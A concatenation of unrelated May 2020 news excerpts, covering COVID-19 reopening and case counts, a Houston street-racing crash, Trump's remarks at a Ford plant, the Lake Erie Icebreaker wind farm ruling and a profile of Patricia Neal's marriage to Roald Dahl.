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In overseas markets, the Galaxy A71 5G uses the Exynos 980 SoC for 5G connectivity. In terms of specifications, it is essentially the same device as its LTE counterpart, except that it packs an upgraded processor and modem to support 5G connectivity.

You get a 6.7-inch Super AMOLED punch-hole display with an in-display fingerprint sensor. Theres a 64-megapixel quad-camera setup on the back and a 32-megapixel selfie camera. The handset comes in 6GB and 8GB RAM variants, with 128GB storage and a microSD card slot.

The Galaxy A71 5G runs Android 10 and packs a 4,500mAh battery with 25W fast charging via USB Type-C. The phone will retail for $600 in the US.
A family of three was pulled from their mangled pickup after it careened off a North Freeway overpass trying to avoid illegal street racers late Thursday, Houston police say.

The driver of the truck was northbound on Interstate 45 near Little York Road around 10:30 p.m. when two cars began weaving in and out of traffic while racing each other, according to Houston Police Lt. M.L. Barrow. The pickup was not involved in the race.

BIG RIG IN FLAMES: Driver rushed to the hospital after crashing along North Freeway

At least two other innocent drivers also tried to swerve out of the way of the speeding cars, which is when those two and the pickup collided  sending the pickup crashing over the concrete barrier to Little York below, Barrow said.

Good Samaritans who witnessed the crash ran to help and pulled an infant and a man from inside the pickup, while firefighters had to use special tools to pry open the mangled wreckage and free a woman from inside. All three were taken to nearby hospitals but are expected to survive.

Nobody from inside the two vehicles that crashed on the freeway was injured, although one of those cars burst into flames.

These street racers are chaos, Barrow said. They are brainless and [have] no concept of the destruction and problems theyre causing in our community. People could have been killed here today.

Shimara Mitchell was one of the good Samaritans who pulled the child and man to safety.

It was nothing but God, Mitchell said. That baby was unharmed and smiled at me.

The racing cars fled.

Anyone with information is urged to call Houston Crime Stoppers at 713-222-TIPS (8477).

Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com
The United Nations rejected on Thursday an accusation by the United States that the world body was using the coronavirus pandemic as an opportunity to promote access to abortion through its humanitarian response to the deadly global outbreak.

The U.N. is seeking some $6.7 billion for its coronavirus response plan and has so far received $1 billion, of which $172.9 million was given by the United States. A Reuters tally shows the coronavirus, or COVID-19, has infected some 5 million people globally and caused almost 327,000 deaths.

Any suggestion that we are using the COVID-19 pandemic as an opportunity to promote abortion is not correct, U.N. spokesman Stephane Dujarric said.

While we support healthcare that prevents millions of women from dying during pregnancy and childbirth and protects people from sexually transmitted infections, including HIV, we do not seek to override any national laws, he said.

In a letter to U.N. chief Antonio Guterres on Monday, acting USAID Administrator John Barsa said the world bodys plan  announced two months ago  gave sexual and reproductive health services the same level of importance as food insecurity, essential healthcare, malnutrition, shelter, and sanitation.

Washington has long-viewed sexual and reproductive health services as code for abortion.

The U.N. should not use this crisis as an opportunity to advance access to abortion as an essential service,' wrote Barsa, adding that it was most egregious that the plan calls for the widespread distribution of abortion-inducing drugs and abortion supplies, and for the promotion of abortion.

The United Nations plan is to help 63 states, mainly in Africa and Latin America, combat the spread and destabilizing effects of the pandemic. Guterres has raised concerns about inadequate support for poor countries and lamented a lack of leadership by world powers in the coronavirus fight.

SOURCE: REUTERS
We had a tech named Joe McGillis who was called into the Army and fleet supervisor Anthony Bavuso had this idea about putting together a salute for him with a drive-by in the parking lot and putting flags on the trucks, Hughes said. When we started getting so many requests from citizens about having vehicles drive by for birthdays and such, we just decided to do this every week until we covered the whole village.
Police arrest 5 believed responsible for Isla Mujeres murder

Cancun, Q.R.  A strong police mobilization that included a Red Code lead to the arrest of five youths Thursday after police began their search.

Elements of the Quintana Roo police set out in search of the five for their alleged participation in the death of another youth earlier in the week. On Monday, an unidentified young man was found shot to death in the Hacienda Real del Caribe subdivision on Isla Mujeres mainland.

After a search, police were successful in locating the group of five believed responsible. They report the arrests of 33-year-old Carmela, 19-year-old Pamela Isabel, 18-year-old Ricardo, 22-year-old Marco Antonio and a minor, 16-year-old Edwin Jesus.

Upon their arrests, police confiscated drugs, squad-type weapons and bullets.
Gov. Kate Brown on Friday approved Clackamas Countys phase 1 reopening plan, which allows the first of the states three most populous counties in the Portland metro area to begin reopening bars, restaurants gyms, salons, and other personal services starting Saturday, provided they can meet safety criteria.

Gathering sizes are still limited to 25 people, in churches, for instance. And the governors phase 1 reopening guidelines do allow malls, such as the Clackamas Town Center, to reopen if they can follow retail guidelines.

That leaves Multnomah and Washington counties as the only counties that have yet to receive approval to begin reopening. Washington County applied Friday and is targeting a June 1 reopening date, while Multnomah County is taking a more deliberative approach because of its size, population density and diversity, and has yet to apply.

The governors office said Friday that the county has met Oregons safety and preparedness prerequisites for reopening. But according to the countys reopening dashboard, that is not the case. The governor has approved a variety of counties reopening plans that dont strictly meet her prerequisites.

Some elected officials in Clackamas County, such as the mayors of Oregon City and Estacada, have been loudly complaining about the shutdown of their businesses. Oregon City Mayor Dan Holladay had even threatened to defy the governors stay home order and allow businesses to reopen before other city commissioners shut him down.

Clackamas County has only managed to hire about a third of the 63 contact tracers that it needs to meet the governors threshold of having 15 for every 100,000 in population. Moreover, it doesnt have adequate personal protection equipment or isolation facilities to house infected individuals who are released from the hospital but dont stable housing, according to its reopening dashboard.

Those are still in progress, saids Todd Loggan, a spokesman for the county.

The county reportedly has met the other criteria, including a declining level of coronavirus infections and adequate testing and hospital capacity.

In a cover letter submitted Tuesday with its application to reopen, the county acknowledged those shortcomings, but said we are confident that we either meet the necessary requirements or have comprehensive plans in place to address urgent needs as our businesses start to reopen.

-- Ted Sickinger; tsickinger@oregonian.com; 503-2218505; @tedsickinger

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Linkedin Valentine Graveleau (Agence France-Presse) Paris, France  Fri, May 22, 2020 10:15 608 fc6853813033f564188675f8bd98f38b 2 World coronavirus,COVID-19,virus-corona,SARS-CoV-2,novel-coronavirus,pandemic,global-crisis,COVID-19-infection Free

Global infections from the novel coronavirus passed five million on Thursday as cases surged in Latin America, signs of normal life returned to parts of Europe and the US and China kept up their blame game over the pandemic.

The grim milestone comes after known cases of COVID-19 doubled in just one month, according to AFP data collected from official sources, with the death toll now topping 328,000 worldwide.

While many hard-hit European countries have significantly curbed the contagion, Latin America is becoming a new hotspot with cases on the rise.

Brazil logged the third-highest number of cases in the world after the US and Russia.

Peru, Mexico and Chile have also seen steady increases in infections, with nurses in Lima warning that the health system is on the brink of collapse after cases and deaths tripled over the past three weeks.

"It's like a horror film," Miguel Armas, a nurse at the Hipolito Unanue hospital in the capital Lima, told AFP.

"Inside it seems like a cemetery given all the bodies. Patients are dying in their chairs [or] in their wheelchairs."

In Brazil, far-right President Jair Bolsonaro continues to scorn experts' advice on curbing the contagion as he presses regional governors to end stay-at-home measures.

And like US President Donald Trump, he has promoted the use of anti-malaria drugs against the virus despite studies showing they have no benefit and could have dangerous side effects.

China's 'victory'

Trump, for his part, insists the US is "Transitioning back to Greatness" as states reopen at different speeds.

His optimism was in sharp contrast to the bleak health situation in the country, which leads the world in cases and deaths.

While daily death tolls are no longer on a steady incline, the losses are still punishing with more than 1,500 additional fatalities reported in 24 hours on Wednesday, bringing the total number in the US to more than 93,400.

On the economic front, the latest figures out of the US showed the rate of unemployment slowing -- but the total number of jobs lost since mid-March stood at an eye-watering 38.6 million.

Trump, who is desperate to boost his political fortunes ahead of November elections, has also doubled down on his finger-pointing at China, who he blamed for "this mass Worldwide killing".

Beijing hit back, warning it would retaliate if the US goes forward with a sanctions threat.

Republican US Senators proposed legislation last week that would empower Trump to slap sanctions on China if Beijing does not give a "full accounting" for the outbreak that emerged in Wuhan late last year.

"It is neither responsible nor moral to cover up one's own problems by blaming others," said China's parliament spokesman Zhang Yesui.

We "will make a firm response and take countermeasures based on the deliberation of these bills", he said.

Despite criticism of its initial handling of the virus, Beijing is determined to project a narrative of strength and success in reining in its own outbreak and coming to the aid of countries who have been hit far harder.

Domestic cases are now down to a trickle, according to its official figures.

In the latest symbol of normalization, the country held an opening ceremony Thursday for its biggest political event of the year -- the Chinese People's Political Consultative Conference (CPPCC) -- after months of delay over health concerns.

Analysts say the gathering's sessions will officially start Friday and be a chance for the party to reaffirm its "victory" over the virus.

Second surge

As governments pray for an end to the economic strangulation of shutdowns, the race to develop a vaccine has been buoyed by experiments on monkeys that offered hope that humans can develop immunity to the virus.

The US also pumped an additional $1 billion into the British pharmaceuticals group AstraZeneca to help fund the production of a vaccine.

In the meantime, governments are testing ways to live with the dangers despite fears of a second wave of infections.

Already a common sight in Spain, masks were officially made mandatory Thursday for anyone over the age of six in public places where social distancing is not possible.

"The more tools we use, the better," said Miguel Domingo, a 49-year-old architect talking his two dogs for a walk in Madrid, which is emerging from one of the toughest lockdowns.

But the director of the European Centre for Disease Prevention and Control, Andrea Ammon, warned it was not a question of if there will be a second surge of infections but "when and how big".

"I don't want to draw a doomsday picture but I think we have to be realistic. That it's not the time now to completely relax," she told Britain's Guardian newspaper.

The warning will be a tough pill to swallow for governments whose easing measures appear to have slowed the economic fallout from the pandemic, which has now "likely bottomed out" in the eurozone according to a survey by IHS Markit.

In Denmark, the exit from lockdown picked up pace as museums and zoos began reopening Thursday and health officials said the spread of the virus was slowing.

Cyprus also bounded into its second stage of de-confinement, lifting curfews and allowing outdoor restaurants, barber shops and beaches to open on the Mediterranean island, though airports and hotels remain closed.

In reopened cafes, customers were seated outdoors with spacing between tables, while some ate with plastic face shields still on.

Yet some experiments in adjusting to the new normal have gone awry.

Not everyone was amused in Singapore by a yellow robot dog deployed to patrol a city park and monitor social distancing.

The remote-controlled hound uses cameras to estimate the number of visitors and blasts out a message to remind joggers and walkers to stand at least one meter apart.

"I think it's really going to be chilling in a way -- something is looking around and I'm not sure how it's going to react to me when I go near it," local resident Simon Neo told AFP.
Bahujan Samaj Partys Mayawati, Samajwadi Party chief Akhilesh Yadav and Delhi chief minister Arvind Kejriwal will skip Fridays meeting of opposition leaders to be chaired by Congress president Sonia Gandhi.

The meeting is to be held to discuss the prevailing situation in the country amid the coronavirus pandemic, the impact of nationwide lockdown and the governments announcement of Rs 20 lakh crore stimulus package to revive the economy.

The meeting, to be held via video-conferencing, will also discuss the plight of stranded migrant workers, the problems faced by the farmers and the suspension of labour laws in Bharatiya Janata Party (BJP)-ruled states of Uttar Pradesh, Madhya Pradesh and Gujarat.

This will be the first meeting of the opposition leaders after the lockdown was enforced across the country on March 25 to contain the Covid-19 pandemic.

The Nationalist Congress Party (NCP), Trinamool Congress, Dravida Munnetra Kazhagam (DMK), Communist Party of India (Marxist), Communist Party of India (CPI), Rashtriya Janata Dal (RJD), Indian Union Muslim League (IUML), Jammu and Kashmir National Conference (JKNC), All India United Democratic Front (AIUDF) Loktantrik Janata Dal (LJD) and Revolutionary Socialist Party (RSP) will attend the meeting.

The Shiv Sena leader and Maharashtra chief minister Uddhav Thackeray will also attend.

The issue of travel of stranded migrant workers to their home states has triggered a political slugfest between the Congress and the government.

The Bharatiya Janata Party (BJP) has dismissed Congress charges that the government has been insensitive to the plight of stranded migrant workers and blamed the opposition party for politicising the issue.

The suspension of labour laws in BJP-ruled states has also been criticised by the Congress as former party president Rahul Gandhi said the fight against the coronavirus cannot be an excuse to exploit the workers, suppress their voice and crush their human rights.

However, the BJP has insisted that labour law reforms are a long-standing demand of trade unions and industries.
We absolutely take into consideration when were working with the governors office that underserved communities need more testing, said Richard Neely, the adjutant general of the Illinois National Guard, which is operating its 10th testing site in collaboration with the Illinois Department of Public Health and other state agencies.
Professionals are more likely to consider a job in the public sector than students.

That is according to new research by e-recruitment platform IrishJobs.ie, in partnership with employer brand specialist Universum.

The Most Attractive Employers Index Ireland 2020 research was conducted among 11,769 students and 7,314 professionals across business, IT, health, engineering, and natural sciences in Ireland

It reveals that multiple employers within the public sector ranked among the 10 most popular employers for professionals across business, IT, and health and medicine industries.

In contrast, employers in the public sector were not listed among the top 30 employers for business or IT students.

Only one student group (health and medicine) ranked a public service job within the top 10 ranking of employers, with the Health Service Executive and the Department of Education and Teaching both ranking as a preference for this category.

Commenting on the results, Orla Moran, General Manager at IrishJobs.ie, said that employers today are now "more aware than ever" of how they are perceived by different audiences.

Our research shows the changing priorities among students and professionals, she said.

"Students, understandably, want to work for international employers on the cutting edge of innovation, where there is potential to earn significant amounts of money and opportunities to travel.

"However, as professionals progress in their careers, their priorities change and considerations such as work-life balance and job security come to the fore.

Ms Moran said that employers need to "recognise these nuances and changing motivations" of individuals.

Equally, employers must remain agile to changing market conditions," she said.

"For example, if an organisation is implementing the same employment brand or recruitment strategy as twelve months ago, it is no longer fit for purpose."
Melania Trump appeared on CNN Thursday to tell students she is 'proud' of their 'determination' to get through the pandemic which will 'define their generation for years to come'.

Speaking on the network blasted her husband, President Donald Trump, as 'fake news', the First Lady acknowledged the 'many changes' students have had to make since the outbreak of coronavirus shuttered schools and colleges.

Trump appeared in a pre-taped segment on the network's weekly global town hall on coronavirus, which is hosted by Anderson Cooper, a frequent critic of the president.

It was her first solo broadcast to the nation since the onset of the pandemic.

Melania Trump appeared on CNN to tell students she is 'proud' of their 'determination' to get through the pandemic which will 'define their generation for years to come'

Acknowledging the 'unusual times' she urged student to 'take care of yourselves' by reading books, playing or learning a sport and helping out at home.

The First Lady said: ' These changes were not easy but you have been so strong and I am proud of the examples you have become. Your determination to get through this will define your generation for years to come.

'We will only get through this with patience, compassion and care.'

Thanking students for their help in keeping 'your communities and our country to stay healthy', she added: 'Tonight, please know, that the president and I are with you during these challenging times and we continue to do everything we can to support you.'

The First Lady's Be Best program focuses on the well being of children and she also addressed children's health in a call Wednesday with approximately 3,000 state, local, and tribal officials.

'Whether in quarantine or on the front lines of the fight against the virus, many Americans - including children - are experiencing an increase in anxiety, depression, loneliness, isolation, and fear, ' she said in remarks released by her office.

The president, meanwhile, is a frequent critic of CNN, both on Twitter and in person.

He criticized the network again on Wednesday, when White House reporter Kaitlan Collins asked him about a report he was angry with the Centers for Disease Control and Prevention.

'It's fake news, Kaitlan. Fake news. Therefore, you can report it on CNN,' the president told her.

He has targeted Collins before. During a press briefing at the end of April, when she tried to ask him if he's had contact with Kim Jong Un, amid reports the North Korean leader was ill or dead, he shot her down.

'CNN is fake news, don't talk to me,' he told her.

Melania Trump has recorded several PSAs during the pandemic, where she has offered tips on getting through the pandemic and urged Americans to follow CDC guidelines on the matter.

She ordered her staff to work from home from the early days of the pandemic and implored American to wear masks.

Her office released a photo of her wearing a face covering but she has not sported one in her public events in the past month, when she has been a silence presence at her husband's side as he planted a tree on the White House South Lawn, hosted faith leaders for National Day of Prayer, honored veterans at the World War II Memorial, and rewarded girl scouts and others at a White House recognition ceremony for those who have aided in the coronavirus response.

Melania appeared in a pre-taped segment on CNN's weekly global town hall They were her first solo remarks since the onset of the pandemic. She is pictured with the president on Friday

Acknowledging the 'unusual times' Melania, pictured last week, urged student to 'take care of yourselves' by reading books, playing or learning a sport and helping out at home

Melania has warned Americans that as the country reopens to continue to practice social distancing and wear masks.

'As some states slowly start to open businesses, please be sure to check CDC guidelines, continue to practice social distancing & wear a face cover. We need to make sure we slowly get back to normal while still fighting to keep the virus suppressed,' the first lady tweeted at the end of April.

Former President Barack Obama on Saturday criticized President Donald Trump in all but name as he gave a televised commencement address for high school seniors.

Obama's message to graduating high school students came at the end of an hourlong television special.

Obama panned 'so-called grown-ups, including some with fancy titles and important jobs' who do 'what feels good, what's convenient, what's easy.'

'That's how little kids think,' he added, 'which is why things are so screwed up.'

Former President Barack Obama on Saturday criticized President Donald Trump in all but name as he gave a televised commencement address for high school seniors

The 44th President did not mention Trump by name, but there was no mistaking who he meant.

Earlier on Saturday, Obama gave another commencement address online, in which he claimed that the pandemic showed many officials were not 'even pretending to be in charge.'

Obama spoke on 'Show Me Your Walk, HBCU Edition,' a two-hour event for students graduating from historically black colleges and universities, which was broadcast on YouTube, Facebook and Twitter.

His remarks were unexpectedly political, given the venue, and touched on current events beyond the virus and its social and economic impacts.
London: One in five people in England believe to some extent that China created coronavirus as a bio-weapon to control the West, research on conspiracy theories has suggested.

A survey has revealed that when asked what they thought of this conspiracy theory, 55 per cent did not agree, 20.2 per cent agreed a little and 5.5 per cent agreed completely.

A Julian Assange supporter who was taking part in a coronavirus anti-lockdown, anti-vaccine, anti-5G and pro-freedom protest is held by police officers before being taken away, near Scotland Yard. Credit:AP

The research, led by clinical psychologists at the University of Oxford and published in the journal Psychological Medicine, revealed that 59 per cent of adults in England believe to some extent that the Government is misleading the public about the virus cause.

More than a fifth (21 per cent) believe the virus is a hoax and 62 per cent agree to some extent that it is manmade.
Donald Trump praised the Ford Motor Company's founder Henry Ford  a notorious antisemite  for his "good bloodlines" during the president's visit to one of the automaker's Michigan plants.

The president said: "The company founded by a man named Henry Ford  good bloodlines, good bloodlines. If you believe in that stuff?" Apparently addressing William Clay Ford, the company's executive chairman and great-grandson of Henry Ford, Mr Trump added: "You got good blood."

Following the success of his revolutionary manufacturing enterprise, Mr Ford had published dozens of articles reflecting his bigotry, including antisemitic conspiracies targeting the "international Jew", before he retracted his views in the 1920s.

But Mr Ford, admired by Adolf Hitler, received the Nazi Party's Grand Cross of the German Eagle a decade later in 1938 at the onset of the Second World War.

Mr Ford also financed the publication of thousands of copies of the "Protocols of the Elders of Zion", fabricated antisemitic propaganda invoked by Hitler as part of his justification for the Holocaust, which saw the murder of more than six million Jews.

"The most controversial and least admirable aspect of Ford's career was his descent into anti-Semitism," according to the Henry Ford Museum, noting that Mr Ford was "convinced that 'bankers' and 'the Jews' were responsible for a whole range of things he didn't like, from the world war to short skirts to jazz music".

Following protests and uproar over the publication of "The International Jew" series that frequently appeared on the front pages of his paper, Mr Ford pulled the series in 1922, then revived it a year later.

The president had previously hailed Mr Ford in August 2019 while criticising modern car manufacturers, while dismissing attacks over his embrace of being called the "King of Israel" and asserting that Jewish Americans who vote for Democrats are "disloyal" to the state of Israel.

Days before praising Mr Ford last year, the president shared quotes from right-wing conspiracy theorist Wayne Allyn Root who suggested that Israeli Jews "love him like he's the King of Israel" and like "he is the second coming of God".

The president's official White House visits to factories across the US to praise workers during the coronavirus pandemic have mirrored his campaign rallies, as he floats conspiracies against his political opponents and attacks his rivals.

"We gotta get back to the rallies," he said on Thursday during a visit to Ford's Rawsonville Plant in Ypsilanti, Michigan, where the factory has ben repurposed to build ventilators for Covid-19 patients.

He added that he doesn't want to hold rallies while people are mandated to be physically distanced. He said he would instead consider "outdoor, big ones" or "wait until the stadiums open" after "incredible demand" among his supporters for his return to rally stages.

The president also refused to wear face coverings for the entirety of his visit despite being urged by the company to do so.

"Bill Ford encouraged President Trump to wear a mask when he arrived," a company statement said. "He wore a mask during a private viewing of three Ford GTs from over the years. The President later removed the mask for the remainder of the visit."

"I didn't want to give the press the pleasure of seeing it," the president said.

He claimed Ford officials told him a mask was "not necessary" and that "it sets an example both ways," suggesting he is signalling to his political base that refuses to abide by requirements for face coverings in stores and public places during the public health crisis.
CLEVELAND, Ohio --The Ohio Power Siting Board on Thursday approved six Icebreaker wind turbines in Lake Erie, in what could be the first freshwater offshore wind farm in North America.

But the board placed 33 conditions -- including that the turbines could not turn at night between March 1 and November 1, to limit risk to birds and bats. The developer, the nonprofit Lake Erie Energy Development Corp. Lake Erie Energy Development Corp. (LEEDCo.) says the limits may kill the demonstration project.

This Order is not an approval, said a statement from the company. A condition added by the Ohio Power Siting Board (OPSB) may well be fatal to the entire project. We are extremely disappointed the Board took this unfortunate step backward for clean energy in Ohio.

The $126 million, 20.7-megawatt project has been on the horizon for a decade and a half, six turbines planned for 8 miles north of Cleveland, with a 12-mile long submerged cable to transmit the electricity to Cleveland Public Powers onshore Lake Road Substation.

But fervor over the issue revved up last spring, opposed by the Lake Erie Marine Trades Association, the nonprofit Lake Erie Foundation and the Black Swamp Bird Observatory.

We understand and support many of the conditions set forth in the permit but the OPSB Board should have gone farther in assessing the potential long-term threats to Ohios most important natural resource," said Michelle Burke, president of the Lake Erie Marine Trades Association. "The members of the OPSB have failed the people of Ohio. This is a sad day for Lake Erie.

The association is considering appealing the decision.

Icebreaker is a pilot project, with a $40 million grant from the U.S. Department of Energy. But the fight is not just over the six turbines up for state approval; its for the wind farm it could precipitate: thousands of spinning blades they fear will desecrate Lake Erie.

The U.S. Department of Energy, U.S. Coast Guard and U.S. Army Corps of Engineers last year signed off a 180-page environmental assessment, finding no significant environmental impact.

The Lake Erie Foundation says the project deserves a deeper, more independent analysis  an environmental impact statement.

The foundation is disappointed with the vote, arguing that the health of Lake Erie is too important to all of us to gamble with placing basically a demonstrator wind project in it, said John Lipaj.

The Ohio Environmental Council and Sierra Club supported the project and criticized the siting boards stipulations.

From a process standpoint, todays decision sends another chilling message to renewable energy companies wanting to do business in Ohio," said Miranda Leppla, the councils vice president of energy policy.

The states approval requires LEEDCo. and its partner, Norway-based Fred Olsen Renewables, to conduct radar studies and provide the OPSB with a bird and bat impact mitigation plan, including a collision monitoring plan. Once it has submitted monitoring information, it could possibly begin operating at night between March and November, the siting board says. Until then, it must be feathered, or stopped overnight.

After a thorough review of the record, the OPSB today authorized a certificate that provides an opportunity for the project to move forward in accordance with specified conditions that are responsive to our statutory responsibilities and the public interest, stated OPSB Chairman Sam Randazzo. The conditions are responsive to the issues raised and evidence presented in this contested proceeding. As the Icebreaker project represents the first of its kind in North America, the order approved by the Board today includes a public and transparent data collection and submission process to better inform the Board stakeholders and the public on questions and risks related to the construction and operation of the turbines.

Lipaj fears that the feathering stipulations could be negotiated.

Im not sure if the stipulations for night-time feathering really means the project is dead in the water," Lipaj said. It could be just a negotiating ploy to get that stipulation removed or reduced.

LEEDCo. -- a partnership which includes City of Cleveland, the Port of Cleveland, the Cleveland Foundation and Cuyahoga, Lake, Ashtabula and Lorain counties in Ohio and Erie County, Pennsylvania -- says it will consider its options in the next few days.

For more Lake Erie news, follow RocktheLake on Facebook.
The most public display of the deepening relationship: five oil tankers steaming across the Atlantic Ocean, carrying what analysts estimate to be 60 million gallons of Iranian gasoline, which they say was bought with Venezuelan gold, an allegation Iran denies. The first of the ships was set to arrive in Venezuelan waters Saturday evening to relieve fuel shortages so dire that the sick cant get to hospitals and produce is rotting on farms.
The number of Covid-19 cases in Mumbai police rose by 150, which is the highest jump in 24 hours, till Friday.

The figure rose from 750 on Thursday afternoon to 900 by Friday evening, said Naval Bajaj, joint commissioner, (administration), who is also the nodal officer designated by the state government for providing aid to police personnel in the city.

Till Friday morning, 898 personnel had tested positive. In this a majority of 157 are from central region (Tardeo-Byculla to Matunga-Ghatkopar till Wadala TT) and 135 from west region (Bandra to Jogeshwari), both regions that are worst affected by Covid-19 in Mumbai. Even south Mumbai has 135 cases of cops testing positive. The east region has 65 cases while the north region has 45 cases.

Among the side branches the local arms division is worst affected with 196 cases. About 40 odd cases each from protection and security and from the Mumbai Traffic police have been reported so far and 30 cases from the motor transport department.

As many as 3,935 police personnel in Mumbai Police have been quarantined. In this a majority of 3,569 are constables and 366 are officers. About 77 of them were discharged on Friday.

In a related development, the Mumbai Police will soon start a fourth Covid care centre (CCC) for their personnel at Vakola, Santacruz (East).

Vinoy Choubey, joint commissioner, law and order, confirmed that the CCC will be made operational to meet the rising demands of beds for police personnel.

We have four buildings in police colony at Kole Kalyan, Santacruz (East) of which we have converted one into a CCC. Its operational with 300 beds. We are converting another building at the premises into a Covid-19 centre, with around 300 beds. It will be operational in a few days. If needed we will convert the remaining two buildings into CCC too, said Choubey.

A 50-bed CCC is being set up at Mumbai Police gymkhana at Marine Lines and another with 250 beds is operational at Marol.

Two IPS officers of additional commissioner rank and one deputy commissioner have been home quarantined after some personnel reporting to them tested positive for Covid-19.

11th death in Mumbai Police

A 55-year-old head constable posted at Vileparle police station died of Covid-19 during treatment at a Jogeshwari hospital on Thursday.

This is the 11th death of personnel of Mumbai Police.

The constable was tested positive on May 9 and was admitted to Kole Kalyan CCC for police. On May 12, he was shifted to HBT Trauma Care Hospital in Jogeshwari. He succumbed to the disease around 9pm on Thursday. The constable was on leave and was staying with his family in Marol after cops aged 55 years and above were asked to stay home as they are at a higher risk of contracting the disease.

12 from Oshiwara police test positive

Twelve police officers from Oshiwara police station tested positive for Covid-19 on Friday, taking the number of infected Mumbai Police personnel to 762. Till Friday afternoon, 11 police personnel from the city had died due to the novel coronavirus disease.

Dayanand Bangar, senior police inspector at Oshiwara police station, confirmed the development and said that 14 policemen who were in touch with the 12 have been sent to home quarantine, while those found positive which includes four officers and eight constables have been admitted to isolation centres at Andheri (East) and Worli.

The staff who have tested positive are from the detection unit of the police station who were deployed for crowd control duties near containment zones and later to help migrant workers.

3 lakh migrants sent back, 2.5 lakh on waiting list

Three lakh migrants, mostly labourers, registered with Mumbai Police were sent back to their home states via trains, buses and cars, said Pranaya Ashok, deputy commissioner of police (operations) and Mumbai Police spokesperson. About 2.5 lakh are still on the waiting list, he added.

363 people booked, 248 arrested for lockdown violations

About 102 first information reports (FIRs) were registered by the Mumbai Police against 363 people for lockdown violations on Thursday. Mumbai Police arrested 248 people. A majority of FIRs (54) were against people gathering in one place, 26 for not wearing masks, 16 for use of vehicles violating lockdown rules and the remaining were against shops. A maximum of 32 FIRs was registered in western suburbs, followed by 30 in south Mumbai, 19 in eastern suburbs, 17 in central suburbs and four in the northern region.

1,666 cops positive in state, 17 dead

A total of 1,666 police personnel in the state police have contracted Covid-19 so far. The number of personnel who succumbed to the novel coronavirus disease is 17, including 11 (10 constables/ASI and one police officer) from Mumbai Police. The remaining six deaths include two from Pune, one each from Solapur, Nashik rural, Thane and one from Mumbai anti-terrorism squad. Out of the 1,666 personnel, 1, 483 are constables and rest are officers. About 1,177 are being treated while 473 have recovered, of which 250 are from Mumbai.

(With inputs from Jayprakash S Naidu)
The legendary Oscar-winning Hollywood star Patricia Neal, whom I knew during some of the many vicissitudes in her astonishing life, once said of her tempestuous 30-year marriage to the writer Roald Dahl: 'Our life together was the stuff of which movies are made.'

Her remark was prophetic. In 1981, while they were still married, the couple became the subject of a TV movie, The Patricia Neal Story, starring Glenda Jackson as Neal and Dirk Bogarde as Dahl.

Now, with both of them no longer alive, an infinitely more penetrating account of their frequently traumatic, sometimes brutal, and ultimately tragic marriage is soon to be released, starring Keeley Hawes as Neal and Downton Abbey's Earl of Grantham, Hugh Bonneville, as Dahl.

Based on Stephen Michael Shearer's biography, Patricia Neal: An Unquiet Life, the film is titled To Olivia, the name of the Dahls' adored daughter who died at the age of seven from measles-related encephalitis.

The tragic personal life of Roald Dahl, especially the period of his marriage to the Hollywood star Patricia Neal, is the subject of a new film starring Hugh Bonneville and Keeley Hawes

Neal was a beguiling character and the least theatrical actress I have ever known.

Willowy, sardonic and deeply intelligent, she had beautiful green-brown eyes, an unforgettably husky voice resonant with the timbre of her Kentucky and Tennessee origins, and an explosive barmaid's laugh.

A tough, gritty realist, conversationally she fired from the hip  never prevaricating  and slugged her way through a life that veered irrationally from triumph to tragedy and back again.

After passionate but ill-starred affairs with the future American president Ronald Reagan, and screen legend Gary Cooper, she drifted reluctantly into marrying without love the writer Roald Dahl, one of the most complex men of his generation, a wartime secret agent, a serial womaniser, and a ruthlessly detached, cold-blooded character who was capable of extreme emotional cruelty.

Their life together was undermined by a series of devastating tragedies.

One of their five children, Theo, was brain-damaged in a horrifying road accident. This was followed by the loss of Olivia, who died within a few days of contracting measles.

At the peak of Neal's career, only two years after winning her Oscar for her portrayal of Alma Brown in the 1963 western Hud, she suffered a series of massive strokes that left her paralysed, unable to walk, partially blind and with badly impaired speech.

Her career appeared to be over, but Dahl, at his most ruthless, imposed a gruelling recovery regime on his wife that has since largely been adopted as the standard therapy for all stroke victims.

Keeley Hawes stars as Patricia Neal in the upcoming film 'An Unquiet Life' that focuses on her tragic marriage to author Roald Dahl played by Hugh Bonneville

Neal, against all expectations, returned to the screen to win a further Oscar nomination and worldwide admiration that bordered on heroine status.

She even had a rehabilitation centre named after her.

Patsy Louise Neal had the most untheatrical debut in life imaginable. Born in 1926 in a mining camp in Packard, Kentucky, she was the daughter of a transportation manager for the Southern Coal And Coke Company.

In spite of this, she would later say: 'I was one of those people born to be an actress. I remember being about 11 and going to church to give a monologue, and I said to myself, 'This is what I want to do'.'

Neal and Dahl holidaying together. Their marriage was marked by tragedy and infidelity

She left Northwestern University in Illinois in 1943 to go to New York to play a role in Eugene O'Neill's A Moon For The Misbegotten.

She met O'Neill in person after he attended one of her performances.

'I think his interest was personal,' she recalled. Even then she had no illusions about the ways of the world.

'Flirting was a tool of the trade and I was an expert. It's terrible what I did in those days.

'I don't know what happened to my morals. If I wanted someone, I wanted them.'

Patricia Neal (1926-2010) married Roald Dahl in 1953 but they divorced in 1983

After understudying on Broadway at 19 in The Voice Of The Turtle, she won the first-ever Tony Award for her performance as the calculating opportunist, Regina, in Another Part Of The Forest, and her career lifted off at the age of 20.

When Jane Wyman announced that she was separating from her husband, Ronald Reagan, Warner Brothers gave Neal the role Wyman was to have played opposite Reagan in John Loves Mary.

Reagan was devastated by the break-up of his marriage, and broke down in tears in front of Neal.

Reagan and Neal began an affair which continued in a later film they made together, The Hasty Heart, but it came to nothing because, by then, she had fallen in love with one of Hollywood's most legendary icons, the heavily married Gary Cooper, whom she played opposite in The Fountainhead.

American actress Patricia Neal with her husband, writer Roald Dahl (1916 - 1990), at the Screen Directors Awards, circa 1962

Cooper, at 48, was 25 years her senior and had been married for 16 years to his wife, Veronica. Neal found 'Coop' 'the most gorgeously attractive man', but when his wife learned of their affair, she sent Neal a telegram demanding that they end it, and Cooper's daughter, Maria, spat at Neal in public.

Cooper wavered over the possibility of leaving his wife, and when he found out that Neal was pregnant, he urged her to have an abortion.

She did so, but it was the one act in her life that she bitterly regretted for ever after.

When her affair with Cooper ended, Neal suffered a severe nervous breakdown and left Hollywood for New York.

Actress Patricia Neal and Gary Cooper in a scene from the movie "The Fountainhead" where the two met and became lovers - the relationship ended after he forced her to have an abortion

She would always describe Gary Cooper as her only true love. 'He is one of the most beautiful things that ever happened to me. I love him even now,' she confessed 40 years later.

